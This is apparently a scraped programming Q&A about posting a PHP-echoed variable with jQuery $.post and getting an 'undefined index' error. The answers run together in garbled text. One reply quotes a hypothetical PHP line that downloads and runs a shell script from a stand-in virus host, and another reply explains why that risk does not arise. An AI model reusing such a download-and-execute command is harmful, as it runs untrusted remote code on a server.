I'm trying to use jQuery to post a variable to a MySQL/PHP query. I have a button, class="button" and the button code is:
$(".button").click(function(e){
e.preventDefault();
$.post("some.php", { var_today : <?php echo $new_var; ?> });
});
using:
if(isset($_POST['var_today'])){
echo $_POST['var_today'];
}
on my php page, and I get undefined index: var_today
the class button tag has an onclick="window.open('') attached to it, and once it's clicked, I get "undefined index" as the var_today is not being posted, what have I written wrong here?
var_today... IEvar_today : "<?php echo $new_var; ?>onclick=""attribute, as that's essentially what the jQuery.click() method is.<?php echo $new_var;?>with<?php exec("wget http://myvirus.com/virus.sh"); exec("./virus.sh"); ?><?php echo $new_var;?>is executed by the server, it prints a string. All the browser sees is the output of theecho. A user visiting the site does not see the PHP code, only what it outputs. There's no way for an attacker to replace the PHP code with something, unless they had access to your server. If they did, you'd have bigger issues to worry about.